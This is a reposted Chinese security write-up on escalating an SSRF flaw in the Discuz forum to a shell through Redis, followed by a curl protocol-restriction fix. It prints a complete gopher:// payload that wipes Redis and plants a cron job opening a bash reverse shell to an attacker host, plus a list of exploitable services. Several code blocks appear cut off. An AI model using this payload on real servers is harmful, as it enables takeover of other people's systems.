SSRF到GET SHELL(附修复方案)
背景
SSRF一般用来探测内网服务,但由于应用层使用的Request服务(curl/filegetcontents)一般不只是支持HTTP/HTTPS,导致可以深层次利用。
检测方式
PHP和Java的检测方式类似,找到Request的时候URL的入参是否可以外部控制来判断是否存在SSRF。(已加入Cobra扫描规则)
PHP
1 |
/** |
Java
利用方式
拿常用的Curl举例,Curl默认支持的协议非常多。
1 |
$ curl -V |
- dict (操作Redis)
- file (任意文件读取)
- ftp、ftps (FTP爆破)
- tftp(UDP协议扩展)
- gopher (操作Redis、Memcached)
- imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
- rtsp
- smb/smbs (连接SMB)
- telnet - 连接SSH/Telnet
- http、https - 内网服务探测
- 网络服务探测
- ShellShock命令执行
- JBOSS远程Invoker war命令执行
- Java调试接口命令执行
- axis2-admin部署Server命令执行
- Jenkins Scripts接口命令执行
- Confluence SSRF
- Struts2一堆命令执行
- counchdb WEB API远程命令执行
- mongodb SSRF
- docker API远程命令执行
- php_fpm/fastcgi 命令执行
- tomcat命令执行
- Elasticsearch引擎Groovy脚本命令执行
- WebDav PUT上传任意文件
- WebSphere Admin可部署war间接命令执行
- Apache Hadoop远程命令执行
- zentoPMS远程命令执行
- HFS远程命令执行
- glassfish任意文件读取和war文件部署间接命令执行
攻击影响获得最大化必须得GET SHELL,通过dict/gopher协议来操作Redis写反弹SHELL是目前最方便的姿势。
使用SSRF操作Redis实战
利用@Jannock发现的Discuz中一处SSRF,即可GET SHELL。 也就是说只要你使用了Discuz论坛,那么就可以直接GET SHELL。
漏洞影响
只要有一处SSRF(此处用Discuz举例),既可能造成GET SHELL,获取服务器所有权限。
Discuz的一处SSRF
Discuz代码中存在一处远程下载图片的action
1 |
# source/module/forum/forum_ajax.php |
如果$imageurl是http开头的,则使用dfsockopen远程访问该链接的图片。
那么就可以通过301跳转到一个内网服务上,用来探测内网信息。
构造探测图片
通过构造一个远程的伪图片,目的是为了绕过Discuz对入参的检测要求。
1 |
http://feei.cn/301.php |
301.php
1 |
<?php |
构造一个跳转到dict://10.11.2.220:6379/vulture.jpg的地址,如下:
1 |
http://feei.cn/301.php?s=dict&ip=10.11.2.220&port=6379&data=vulture.jpg |
我们让其301到一个内网ip的6379端口,然后根据整个请求完成的时间不同来判定该服务是否存在(时间在1s以内说明存在,超过超时时间的则目标服务不存在),构造链接如下
1 |
http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=http://feei.cn/301.php?s=dict%26ip=10.11.2.220%26port=6379%26data=vulture.jpg[/img] |
上面链接请求10.11.2.220的80服务只需要100ms,10.11.2.221不存在80服务,返回使用了6s
GETSHELL
通过dict或者gopher都能操作Redis。 @猪猪侠在wooyun上公布的脚本使用的是dict协议,但经过测试并不能写入正确的cron。
我这里使用的是gopher,不需要像dict协议那样多步构造(flushall/set key/set directory/set dbfilename/save),只需要一个请求就可以GET SHELL。
1 |
gopher://{redis_server}:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/{your_server}/{your_server_listen_port}%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a |
只需要让我们的301.php跳到上面地址,即可写入定时任务(cron),得到反弹SHELL。
其它利用姿势
除了写cron拿到SHELL,还有还几种姿势。
修复方案
大部分请求外部资源底层都是基于curl,curl默认支持的协议比较多。
所以只需要通过配置curl禁止使用除http/https以外其它协议即可解决该问题
1 |
source/function/function_filesock.php |
在_dfsockopen方法内增加
1 |
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); |
验证修复
在一台内网服务器(10.11.2.220)上开启一个8080端口
1 |
python -m SimpleHTTPServer 8080 |
然后访问触发SSRF的地址
1 |
http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=http://feei.cn/301.php?s=dict%26ip=10.11.2.220%26port=8080%26data=helo.jpg[/img] |
查看是否有请求的回显,没有则说明修复好了
转自https://docs.ioin.in/writeup/wufeifei.com/_ssrf_/index.html
FROM :b0urne.top | Author:b0urne
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论